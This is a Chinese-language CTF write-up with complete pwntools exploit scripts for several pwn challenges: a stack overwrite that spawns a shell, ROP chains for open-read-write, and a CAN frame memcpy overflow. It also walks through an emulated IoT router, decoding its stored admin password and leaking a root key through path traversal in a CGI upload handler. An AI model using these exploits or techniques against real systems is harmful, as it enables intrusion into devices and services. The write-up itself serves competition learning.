0x00 前言 SU天下第一!又蹭到了,贡献了一点点车联网,但是手慢+沙比了卡了挺久
0x01 题解 Pwn - babystack int pwn () { char s[24 ]; char buf_[248 ]; __int64 n180097847; memset (s, 0 , 0x110u ); n180097847 = 180097847 ; printf ("Enter your flag1:" ); read(0 , s, 0x18u ); printf ("Enter your flag2:" ); read(0 , buf_, 0x100u ); printf ("Nice!, %s, your flag2 is %s.\n" , s, buf_); if ( n180097847 != 20150972 ) return puts ("you are a good boy." ); puts ("you are also a good boy." ); return system("/bin/sh" ); }
签到,第二次输入覆盖掉n180097847即可
from pwn import *from ctypes import *context(arch='amd64' , log_level = 'debug' ,os = 'linux' ) file='/mnt/c/Users/Z2023/Desktop/babystack' elf=ELF(file) libc = ELF('/mnt/c/Users/Z2023/Desktop/libc-2.23.so' ) choice = 0x001 if choice: p = remote("challenge.xctf.org.cn" , 9999 , ssl=True ) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,gdbscript=cmd) sa('flag1:' ,b'a' *0x18 ) debug() sa('flag2:' ,b'a' *(0x108 -0x10 ) + p64(0x1337abc )) itr()
Pwn - stack 沙箱
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0007 0006: 0x06 0x00 0x00 0x00000000 return KILL 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
两次输入 第一次输入可以配合printf泄露栈地址 在第二次输入先栈迁移把下面的返回地址修改掉,然后再返回到第一次输入这里的printf这里,泄露出下面的libc_start_call_main, 继续稍微布置一下rbp,让程序执行到第二次read中,然后布置orw的rop链即可
from pwn import *from ctypes import *import structcontext(arch='amd64' , log_level = 'debug' ,os = 'linux' ) file='/mnt/c/Users/Z2023/Desktop/stack/pwn' elf=ELF(file) libc = ELF('/mnt/c/Users/Z2023/Desktop/stack/libc.so.6' ) choice = 0x001 if choice: p = remote("" , 9999 , ssl=True ) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,gdbscript=cmd) debug() sa('Could you tell me your name?' ,b'a' *(0x10 -1 ) +b'b' ) ru('ab' ) stack_addr = uu64(rl()[:-2 ].ljust(8 ,b'\x00' )) + 8 leak('stack_addr' ) payload = b'a' *0x60 + p64(stack_addr + 0x10 + 0x60 - 8 ) + p64(0x00000000004013D4 ) sa('Any thing else?\n' ,payload) pause() payload = p64(0x00000000004013D4 ) + p64(stack_addr) + p64(0x00000000004013D4 ) + b'a' *(0x60 -0x18 ) + p64(stack_addr + 0x10 ) + p64(0x000000000040139B ) s(payload) ru('Hello, ' ) libc_base = uu64(r(6 ).ljust(8 ,b'\x00' )) - 0x29d90 libc.address = libc_base leak('libc_base' ) rdi = libc_os(0x000000000002a3e5 ) rsi = libc_os(0x000000000002be51 ) rdx = libc_os(0x000000000011f357 ) payload = b'/flag\x00\x00\x00' payload += b'a' * 0x58 + p64(stack_addr + 0x100 ) payload += b'a' * 0x10 payload += flat( rdi,-1 , rsi,stack_addr - 0x60 , rdx, 0 , 0 ,libc.sym['openat' ], rdi, 3 , rsi , stack_addr + 0x200 , rdx , 0x50 , 0x50 , libc.sym['read' ], rdi, 1 , rsi , stack_addr + 0x200 , rdx , 0x50 , 0x50 , libc.sym['write' ] ) pause() s(payload) itr()
车联网 - can 沙箱
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff ) goto 0008 0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008 0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x06 0x00 0x00 0x00000000 return KILL
大概分析一下逻辑,先是一个密码 然后可以输入指令,但这上面这几个指令都没什么用。主要是下面的逻辑,我们可以发送3种类型的 ISO-TP 帧
SF - 单帧
FF - 首帧
CF - 连续帧
连续输入 1#21...、1#22...、1#23... 到了f就再回到1
大概尝试了一下,可以利用处理 CF 帧的这个 if 判断来泄露 pie 没细看处理的逻辑,但大概尝试了一下
sla('Enter magic number:\n' ,'12803159' ) sla('>' ,'1#1020414141414141' ) sla('>' ,'1#2142424242424242' ) sla('>' ,'1#2243434343434343' ) sla('>' ,'1#2344444444444444' ) sla('>' ,'1#2445454545454545' ) sla('>' ,'1#2445454545454545' )
就能执行到这个else分支,应该是输入的 CF 帧不合法导致的 值得注意的是这个函数 memcpy没有对长度进行判断,当满足条件的时候就会执行下面这个 p_sub_16E0, 存放在 buf_ + 0x100 的位置 可以先发送一个 FF 帧,例如:发送 1#1008..., 发这个帧是为了设定 ::n 的大小 , 由1#1后面的三个数字来决定,这个例子中 ::n 会被设定为 8。 泄露出 pie_base 之后需要重新设置 FF 帧,把ret写到开头,接着就利用 CF 帧的memcpy布置rop链来泄露libc。这里rop链的结构是
ret puts(fgets_got) pop_rbp_ret bss_addr .text:000000000000130F mov rdx, cs:stdin ; stream .text:0000000000001316 mov esi, 200h ; n .text:000000000000131B mov rdi, rbp ; s .text:000000000000131E call _fgets
然后我们把 p_sub_16E0 覆盖成这个gadget push rdi ; pop rsp ; ret。 因为执行 p_sub_16E0 之前寄存器的状态是这样的 用这个gadget就能把栈迁移到bss段上,最后通过fgets的溢出来布置orw的rop链即可 大概泄露了一下远程的libc
from pwn import *from ctypes import *import structcontext(arch='amd64' , log_level = 'debug' ,os = 'linux' ) file='./pwn' elf=ELF(file) libc = ELF('./libc6_2.39-0ubuntu8.6_amd64.so' ) choice = 0x001 if choice: p = remote("" , 9999 , ssl=True ) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,gdbscript=cmd) commend = ''' b *$rebase(0x0000000000001A6B) b *$rebase(0x000000000000131E) b _IO_getline ''' sla('Enter magic number:\n' ,'12803159' ) sla('>' ,'1#11ff414141414141' ) sla('>' ,'1#2445454545454545' ) ru(' handler=' ) pie_base = int (rl()[:-1 ],16 ) - 0x00000000000018C0 elf.address = pie_base leak('pie_base' ) ret = pie_base + 0x000000000000101a ret_b = struct.pack('<Q' , ret) rdi = pie_base + 0x0000000000001557 rdi_b = struct.pack('<Q' , rdi) puts_got = elf.got.puts puts_b = struct.pack('<Q' , puts_got) fgets_got = elf.got.fgets fgets_b = struct.pack('<Q' , fgets_got) puts_plt = elf.plt.puts puts_p = struct.pack('<Q' , puts_plt) set_puts = pie_base + 0x0000000000016F0 set_b = struct.pack('<Q' , set_puts) pop_rbp = pie_base + 0x0000000000001693 pop_rbp = struct.pack('<Q' , pop_rbp) main = pie_base + 0x000000000000130F main_b = struct.pack('<Q' , main) input_addr = pie_base + 0x6088 input_addr = struct.pack('<Q' , input_addr) sla('>' ,'1#10ff' + ret_b.hex ()[:-4 ]) sla('>' ,'1#21' +'00' *2 + rdi_b.hex ()[:-6 ]) sla('>' ,'1#22' + rdi_b.hex ()[10 :-4 ] + '00' *2 + fgets_b.hex ()[:-8 ]) sla('>' ,'1#23' + fgets_b.hex ()[8 :-4 ] + '00' *2 + puts_p.hex ()[:-10 ]) sla('>' ,'1#24' + puts_b.hex ()[6 :-4 ] + '00' *2 + pop_rbp.hex ()[:-12 ]) sla('>' ,'1#25' + pop_rbp.hex ()[4 :-4 ] + '00' *2 + input_addr.hex ()[:-14 ]) sla('>' ,'1#26' + input_addr.hex ()[2 :-4 ] + '00' *2 ) sla('>' ,'1#27' + main_b.hex ()[:-4 ] + '00' ) sla('>' ,'1#28' + '00' + '454545454545' ) sla('>' ,'1#2945454545454545' ) sla('>' ,'1#2a45454545454545' ) sla('>' ,'1#2b45454545454545' ) sla('>' ,'1#2c45454545454545' ) sla('>' ,'1#2d45454545454545' ) sla('>' ,'1#2e45454545454545' ) sla('>' ,'1#2f45454545454545' ) sla('>' ,'1#2146464646464646' ) sla('>' ,'1#2246464646464646' ) sla('>' ,'1#2346464646464646' ) sla('>' ,'1#2446464646464646' ) sla('>' ,'1#2546464646464646' ) sla('>' ,'1#2646464646464646' ) sla('>' ,'1#2746464646464646' ) sla('>' ,'1#2846464646464646' ) sla('>' ,'1#2946464646464646' ) sla('>' ,'1#2a46464646464646' ) sla('>' ,'1#2b46464646464646' ) sla('>' ,'1#2c46464646464646' ) sla('>' ,'1#2d46464646464646' ) sla('>' ,'1#2e46464646464646' ) sla('>' ,'1#2f46464646464646' ) sla('>' ,'1#2147474747474747' ) sla('>' ,'1#2247474747474747' ) sla('>' ,'1#2347474747474747' ) sla('>' ,'1#2447474747474747' ) sla('>' ,'1#2547474747474747' ) sla('>' ,'1#264747474747' ) gad = pie_base + 0x00000000000012d3 gadge = struct.pack('<Q' , gad) sla('>' ,'1#27' + gadge.hex ()[:-4 ]) fgets_addr = uu64(rl()[1 :-1 ]) libc_base = fgets_addr - libc.sym['fgets' ] libc.address = libc_base leak('libc_base' ) pause() o = libc.sym['open' ] r = libc.sym['read' ] w = libc.sym['write' ] rsi = pie_base + 0x0000000000001555 ret = pie_base + 0x000000000000101a rbx = libc_os(0x00000000000586e4 ) rdx = libc_os(0x00000000000b0133 ) payload = p64(ret) *2 payload += flat( rdi,pie_base + 0x6188 ,rsi,0 ,0 ,o, rdi,3 ,rsi,pie_base + 0x6288 ,0 ,rbx,0x100 ,rdx,0 ,0 ,0 ,r, rdi,1 ,rsi,pie_base + 0x6288 ,0 ,rbx,0x100 ,rdx,0 ,0 ,0 ,w ) payload += b'/flag\x00\x00\x00' payload = payload.ljust(0x200 ,b'a' ) sl(payload) itr()
你可能会发现这题的wp与SU发的wp非常相似,因为那是也我写的^^
WIN!致敬mt (iot 1复现) 题目附件就给了这些, 当时有点懵懵的, 不知道怎么下手 后面才知道只要运行一下这个 boot.sh 就可以跑起来, 这里简单改改这个 sh , 方便后续操作,
sudo qemu-system-arm \ -M versatilepb \ -m 256 \ -kernel vmlinuz-3.2.0-4-versatile \ -initrd initrd.img-3.2.0-4-versatile \ -hda debian_wheezy_armel_standard.qcow2 \ -append "root=/dev/sda1 console=ttyAMA0" \ -net nic -net user,hostfwd=tcp::8080-:80,hostfwd=tcp::2222-:22,hostfwd=tcp::1234-:1234 \ -nographic \ -s
加一个 ssh 端口, 一个 gdb 用的端口, 跑起来之后登入密码在 readme.txt
username:root password:root
经典找入口
root@debian-armel:~# netstat -nlap Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:36175 0.0.0.0:* LISTEN 1562/rpc.statd tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1524/rpcbind tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2235/lighttpd tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2264/sshd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2291/exim4 tcp6 0 0 :::38123 :::* LISTEN 1562/rpc.statd tcp6 0 0 :::111 :::* LISTEN 1524/rpcbind tcp6 0 0 :::80 :::* LISTEN 2235/lighttpd tcp6 0 0 :::22 :::* LISTEN 2264/sshd tcp6 0 0 ::1:25 :::* LISTEN 2291/exim4 udp 0 0 0.0.0.0:68 0.0.0.0:* 1589/dhclient udp 0 0 0.0.0.0:849 0.0.0.0:* 1524/rpcbind udp 0 0 0.0.0.0:111 0.0.0.0:* 1524/rpcbind udp 0 0 127.0.0.1:890 0.0.0.0:* 1562/rpc.statd udp 0 0 0.0.0.0:30445 0.0.0.0:* 1589/dhclient udp 0 0 0.0.0.0:34044 0.0.0.0:* 1562/rpc.statd udp6 0 0 :::50700 :::* 1562/rpc.statd udp6 0 0 :::22336 :::* 1589/dhclient udp6 0 0 :::849 :::* 1524/rpcbind udp6 0 0 :::111 :::* 1524/rpcbind Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node PID/Program name Path unix 2 [ ACC ] STREAM LISTENING 3645 1524/rpcbind /var/run/rpcbind.sock unix 3 [ ] DGRAM 4035 1875/rsyslogd /dev/log unix 2 [ ACC ] SEQPACKET LISTENING 2277 270/udevd /run/udev/control unix 2 [ ] DGRAM 4400 2325/login unix 3 [ ] STREAM CONNECTED 3815 1593/rpc.idmapd unix 3 [ ] STREAM CONNECTED 3814 1593/rpc.idmapd unix 3 [ ] DGRAM 2284 270/udevd unix 3 [ ] DGRAM 2283 270/udevd root@debian-armel:~# cd /etc/init.d root@debian-armel:/etc/init.d# ls atd kbd mtab.sh sendsigs bootlogs keyboard-setup networking single bootmisc.sh killprocs nfs-common skeleton checkfs.sh kmod procps ssh checkroot-bootclean.sh lighttpd rc udev checkroot.sh motd rc.local udev-mtab console-setup mountall-bootclean.sh rcS umountfs cron mountall.sh README umountnfs.sh exim4 mountdevsubfs.sh reboot umountroot halt mountkernfs.sh rmnologin urandom hostname.sh mountnfs-bootclean.sh rpcbind hwclock.sh mountnfs.sh rsyslog
可以看到有一个 httpd 猜测是, 访问一下原本就暴露出来的 80 端口 是一个登入界面, 抓个包session_check.cgi 是这个登入页面, 而账户密码验证逻辑在 auth.cgi 中, 找到对应的 elf dump 到宿主机中进行分析
scp -P 2222 root@127.0.0.1:/var/www/cgi-bin/auth.cgi .
Ida 启动 然后对 username 做一个过滤, 不能有 _, . 和 - 这里应该是对登入失败做一个计数, 防爆破啥的? 从这个 stream_1 = fopen("/tmp/store/users.txt", "r"); 开始, 下面一大坨都是在做账户密码的验证, 从 /tmp/store/users.txt 中读取, 以 : 隔断, /tmp/store/users.txt 的内容如下
root@debian-armel:~# cat /tmp/store/users.txt admin:dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA==
Username 应该没做加密, 直接与硬编码做比较, 而 password 一看就经过加密了 先是循环异或, 然后是一个标准的 base64 简单写一个解密脚本
import base64s = "dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA==" decoded_bytes = base64.b64decode(s) key = "N1K_ROUT3R" passwd = "" for i in range (len (decoded_bytes)): passwd += chr (decoded_bytes[i] ^ ord (key[i % 10 ])) print (passwd)
使用 admin & 8g323##a08h33zx33@!B!$$$$$$$ 即可成功登入 登入之后有很多功能, 需要一个一个去看, 这里选择先从 ping 开始, 因为 ping 功能一般会涉及到一些命令执行, 会用到 system 这样的函数 Ping 功能对应的是 manage.cgi, dump 下来慢慢看
scp -P 2222 root@127.0.0.1:/var/www/cgi-bin/manage.cgi ~/dt
… 没想到这个输出是一个硬编码 看来没有 system 这么简单, 再仔细分析一下吧, 找了一下引用 是个静态的功能路由表, 所有功能都在这个 elf 里面了, 实在太多了看不过来, 直接上 mcp 让 codex 大人帮我看, 经过 codex 大人的一番逆向之后, 发现在 sub_969C(); 中有这样的问题 先是一个小混淆, tv.tv_usec & 1 要么 0 要么 1, 最后还是调用 sub_9FD0, 继续跟进 这里也是一个同款小混淆, (((unsigned __int8)n16 ^ 0x13) & 1) 无非也就是 0 或 1, 最后也是去 sub_96E8 , 继续跟进 分为 1 和非 1 的分支, 非 1 是个 memcpy 但其实仔细逆向过 1 的分支也是个 memcpy, 只是遇到 \x00 就停止, 可以这样理解 1 分支
for (i = 1 ; i < n; i++) { b = src[i]; state ^= b; dst[i] = b; if (b == 0 ) break ; // 遇到 NUL 提前结束 }
注意到传入的第三个参数是 unsigned int n768 , 但是n16 是个 int 类型的变量, 传入的第一个参数是个临时变量, 在栈上, 搭配上这个 memcpy 可以造成栈溢出, 那么要让程序走到这里的前置条件是
main 里要让参数 rk 等于 /tmp/rootkey 文件内容(去掉换行后比较相等),才会调用 sub_969C -> sub_9FD0。
/tmp/store/id.txt 存在且可读。
读出的前几字节能解析成整数 n16。
N16 != 0 且 n16 <= 16(按汇编看是有符号比较,所以负数也可以通过)。
Ok 那我们就要看看怎么得到这个 /tmp/rootkey 的内容
root@debian-armel:~# ls /tmp/ store
这个文件默认是不存在的, 所以需要先找到创建这个文件的服务
root@debian-armel:~# cd /var/www/cgi-bin root@debian-armel:/var/www/cgi-bin# grep -r "rootkey" ./ Binary file ./watch matches Binary file ./manage.cgi matches
先看看还有哪个 cgi 有用到这个字符串, 照旧把这个 elf dump 下来, 丢到 ida 中看看 主要是三个部分, 第一个是 fd_1 = open((const char *)s, 577, 384); open 的第二个参数有以下模式:
O_WRONLY (0x1) — 只写模式。
O_CREAT (0x40) — 如果文件不存在则创建它。
O_EXCL (0x80) — 与 O_CREAT 配合使用。如果文件已经存在,则 open 失败(返回 -1)。这是一种安全机制,防止竞争条件。
O_TRUNC (0x200) — 如果文件已存在且成功打开,则将其长度截断为 0。
$0x1 | 0x40 | 0x80 | 0x200 = 0x241 也就是 557, 这里做的是以“只写”方式创建文件。如果文件已经存在,则报错. 创建文件之后写入不可逆向的内容, 共 64 字节, 最后重命名, 赋予 0600 权限.
创建文件的部分搞定了, 接下来就是想办法泄露, 在茫茫大海中不断寻找, 最终在 upload.cgi 中找到了这样一段 这里的 snprintf((char *)stat_buf, 0x60u, "/tmp/%s", s_5); 可以做一个目录穿越. 但首先得绕过
!sub_9CCC(s_5, (int (__fastcall *)(char *))sub_985C, sub_99E0) && sub_9D40(s_5, "nik.gif" )
简单分析了一波
sub_9CCC 要求的是 path 必须只由 [A-Za-z0-9./] 组成,且不能含 s/S,并且所有 . 的后继字符必须是 g 或 /
sub_9D40 强制要求必须以 nik.gif 结尾
snprintf 最多拼接 0x60 个字节, 而多个 / 会当成一个 / 处理, 就像这样
li1nkle@liiinkle:~/pwn$ cat /////////////////////////////////////////flag flag{local_test_flag_aaaaaaaAAAAAAAAA} li1nkle@liiinkle:~/pwn$ ls / | grep flag flag
我们可以构造出这样一个路径 //(中间省略...)/rootkey(前面共0x60字节).nik.gif, 这样实际拼接出来的路径就是 /tmp//(中间省略...)/rootkey. 测试发现貌似不行, 换成 ./ 就可以, 实际上是 /tmp/./(中间省略...)./rootkey
发送的 payload 的 header 以及设置 sid 的部分来自 [原创] 第八届“强网”拟态防御国际精英挑战赛 - WIN!致敬 mt 复现
from pwn import *import requestsfrom urllib.parse import quote_plusimport reimport asyncio mysession = None mysid = None base_url = "http://127.0.0.1:8080" headers = { "Host" : "127.0.0.1:8080" , "sec-ch-ua" : '"Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"' , "sec-ch-ua-mobile" : "?0" , "sec-ch-ua-platform" : '"macOS"' , "Upgrade-Insecure-Requests" : "1" , "Origin" : "http://127.0.0.1:8080" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Sec-Fetch-Site" : "same-origin" , "Sec-Fetch-Mode" : "navigate" , "Sec-Fetch-User" : "?1" , "Sec-Fetch-Dest" : "document" , "Referer" : "http://127.0.0.1:8080/" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" } def set_session_cookies (): if mysid: mysession.cookies.set ("SID" , mysid) mysession.cookies.set ( "mitmproxy-auth" , '2|1:0|10:1745484849|14:mitmproxy-auth|4:eQ==|' 'bcade3a9f1b37c48d9c3d670a0d91c2524f01452c91ba02f80c059c1a5c1b0a5' ) else : print ("SID setting failed" ) exit(1 ) def send_post (url, data ): set_session_cookies() resp = mysession.post(base_url + url, headers=headers, data=data) return resp.text def send_get (url, params ): set_session_cookies() resp = mysession.get(base_url + url, headers=headers, params=params) return resp.text def login (username="admin" , password="8g323##a08h33zx33@!B!$$$$$$$" ): global mysession, mysid url = "/cgi-bin/auth.cgi" mysession = requests.Session() data = f"username={quote_plus(username)} &password={quote_plus(password)} " resp = mysession.post(base_url + url, headers=headers, data=data, allow_redirects=False ) mysid = mysession.cookies.get("SID" ) if not mysid: print ("failed" ) mysession = None return False print (f"sucess, SID = {mysid} " ) return True login() send_get("/cgi-bin/watch" , {}) need_to_minus = len ("/tmp/" +"rootkey" ) + 1 file_path = "./" * ((0x60 -need_to_minus)//2 ) + "/" + "rootkeynik.gif" payload = { "action" : "download" , "path" : file_path, } rootkey = send_post("/cgi-bin/upload.cgi" , payload) print ("rootkey: " + rootkey)
我们就得到了 rootkey 的内容 ```bash root@debian-armel:# cat /tmp/rootkey EX+N$0G<LoW\8s{4LVHWFg’,4B_GSQ,EML;+a”S%/3WuoL,Ji6MJ6(t;SIPPX^`
回到前面的说的 n16 造成的栈溢出问题, 现在要做的是要让 n768 为负数, 简单找一下怎么做 `n768` 来自 `n768= v13 * v10;`, 而 `v10` 只会为 `1` 或 `-1` 那 `v13` 呢, `v13` 来自 `v15` `v15` 受 `buf3` 影响, 然后 `buf3` 又受 `p_buf_1` 影响 `p_buf1` 又是来自 `/tmp/store/id.txt` 的 中间这一大坨的功能大概是 1. 先从 `/tmp/store/id.txt` 读最多 7 字节到栈上 2. 手工解析成整数 n16(支持前导空白、+/-、连续数字) 所以我们需要找到能设置 `/tmp/store/id.txt` 的 cgi, 老样子 ```bash root@debian-armel:/var/www/cgi-bin# grep -r "/tmp/store/id.txt" Binary file manage.cgi matches Binary file lang.cgi matches
马上去 lang.cgi 看看 这里有对 /tmp/store/id.txt 写入的逻辑, 简单逆向一下这个 cgi
先写临时文件:/tmp/store/id.txt.tmp.lang.<pid>
open (…, O_WRONLY|O_CREAT|O_TRUNC, 0600)
fsync + rename 到 /tmp/store/id.txt
最后 chmod ("/tmp/store/id.txt", 0644)
写入内容是 setid + \n
所以要控制这个文件的内容的话, 用有效的 SID 请求 /cgi-bin/lang.cgi?setid=aaa 就行了, 马上来试试
from pwn import *import requestsfrom urllib.parse import quote_plusimport reimport asyncio mysession = None mysid = None base_url = "http://127.0.0.1:8080" headers = { "Host" : "127.0.0.1:8080" , "sec-ch-ua" : '"Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"' , "sec-ch-ua-mobile" : "?0" , "sec-ch-ua-platform" : '"macOS"' , "Upgrade-Insecure-Requests" : "1" , "Origin" : "http://127.0.0.1:8080" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Sec-Fetch-Site" : "same-origin" , "Sec-Fetch-Mode" : "navigate" , "Sec-Fetch-User" : "?1" , "Sec-Fetch-Dest" : "document" , "Referer" : "http://127.0.0.1:8080/" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" } def set_session_cookies (): if mysid: mysession.cookies.set ("SID" , mysid) mysession.cookies.set ( "mitmproxy-auth" , '2|1:0|10:1745484849|14:mitmproxy-auth|4:eQ==|' 'bcade3a9f1b37c48d9c3d670a0d91c2524f01452c91ba02f80c059c1a5c1b0a5' ) else : print ("SID setting failed" ) exit(1 ) def send_post (url, data ): set_session_cookies() resp = mysession.post(base_url + url, headers=headers, data=data) return resp.text def send_get (url, params ): set_session_cookies() resp = mysession.get(base_url + url, headers=headers, params=params) return resp.text def login (username="admin" , password="8g323##a08h33zx33@!B!$$$$$$$" ): global mysession, mysid url = "/cgi-bin/auth.cgi" mysession = requests.Session() data = f"username={quote_plus(username)} &password={quote_plus(password)} " resp = mysession.post(base_url + url, headers=headers, data=data, allow_redirects=False ) mysid = mysession.cookies.get("SID" ) if not mysid: print ("failed" ) mysession = None return False print (f"sucess, SID = {mysid} " ) return True login() send_get("/cgi-bin/lang.cgi" ,{"setid" :"-1" })
发送请求后到 qemu 中查看
root@debian-armel:/var/www/cgi-bin# cat /tmp/store/id.txt -1
可以看到赋值成功, 接下来就尝试去利用这个栈溢出来 RCE 了, 先回到 manage.cgi 还是这里, 第二次 sub_96E8 可以造成栈溢出, ptr 来自前面的 s_0, 大概找了一下 在这个 action 中 而这里对 s_0 的写入又涉及 /tmp/store/publicfile.txt , 这个文件默认是不存在的 所以要找到哪里创建了这个文件, 老样子 grep 大法
root@debian-armel:/var/www/cgi-bin# grep -r "/tmp/store/publicfile.txt" ./ Binary file ./upload.cgi matches Binary file ./manage.cgi matches
在 upload.cgi, 马上看一眼 熟悉的 open 参数, write 的第二个参数是 ptr_1 上面这一坨应该是做了个取值和简单过滤, /tmp/store/publicfile.txt 的值是来自 filecontent 的, 来简单试试对 upload 做请求, 往 publicfile.txt 文件中写入内容
from pwn import *import requestsfrom urllib.parse import quote_plusimport reimport asyncio mysession = None mysid = None base_url = "http://127.0.0.1:8080" headers = { "Host" : "127.0.0.1:8080" , "sec-ch-ua" : '"Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"' , "sec-ch-ua-mobile" : "?0" , "sec-ch-ua-platform" : '"macOS"' , "Upgrade-Insecure-Requests" : "1" , "Origin" : "http://127.0.0.1:8080" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Sec-Fetch-Site" : "same-origin" , "Sec-Fetch-Mode" : "navigate" , "Sec-Fetch-User" : "?1" , "Sec-Fetch-Dest" : "document" , "Referer" : "http://127.0.0.1:8080/" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" } def set_session_cookies (): if mysid: mysession.cookies.set ("SID" , mysid) mysession.cookies.set ( "mitmproxy-auth" , '2|1:0|10:1745484849|14:mitmproxy-auth|4:eQ==|' 'bcade3a9f1b37c48d9c3d670a0d91c2524f01452c91ba02f80c059c1a5c1b0a5' ) else : print ("SID setting failed" ) exit(1 ) def send_post (url, data ): set_session_cookies() resp = mysession.post(base_url + url, headers=headers, data=data) return resp.text def send_get (url, params ): set_session_cookies() resp = mysession.get(base_url + url, headers=headers, params=params) return resp.text def login (username="admin" , password="8g323##a08h33zx33@!B!$$$$$$$" ): global mysession, mysid url = "/cgi-bin/auth.cgi" mysession = requests.Session() data = f"username={quote_plus(username)} &password={quote_plus(password)} " resp = mysession.post(base_url + url, headers=headers, data=data, allow_redirects=False ) mysid = mysession.cookies.get("SID" ) if not mysid: print ("failed" ) mysession = None return False print (f"sucess, SID = {mysid} " ) return True login() texta = b'b' * 0x40 payload = { "action" : "upload_pubkey" , "filecontent" : texta, } send_post("/cgi-bin/upload.cgi" , payload)
验证一下是否成功写入
root@debian-armel:/var/www/cgi-bin# cat /tmp/store/publicfile.txt bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbroot@debian-armel:/var/www/cgi-bin#
